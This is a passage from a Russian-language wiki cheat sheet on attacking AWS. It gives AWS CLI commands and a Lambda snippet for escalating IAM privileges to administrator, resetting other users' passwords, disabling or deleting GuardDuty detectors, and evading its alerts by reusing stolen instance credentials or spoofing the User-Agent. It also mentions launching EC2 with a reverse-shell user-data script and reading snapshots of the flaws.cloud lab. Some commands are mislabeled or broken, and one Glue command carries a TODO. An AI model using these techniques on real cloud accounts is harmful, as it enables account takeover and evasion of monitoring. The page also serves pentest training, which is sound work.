&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
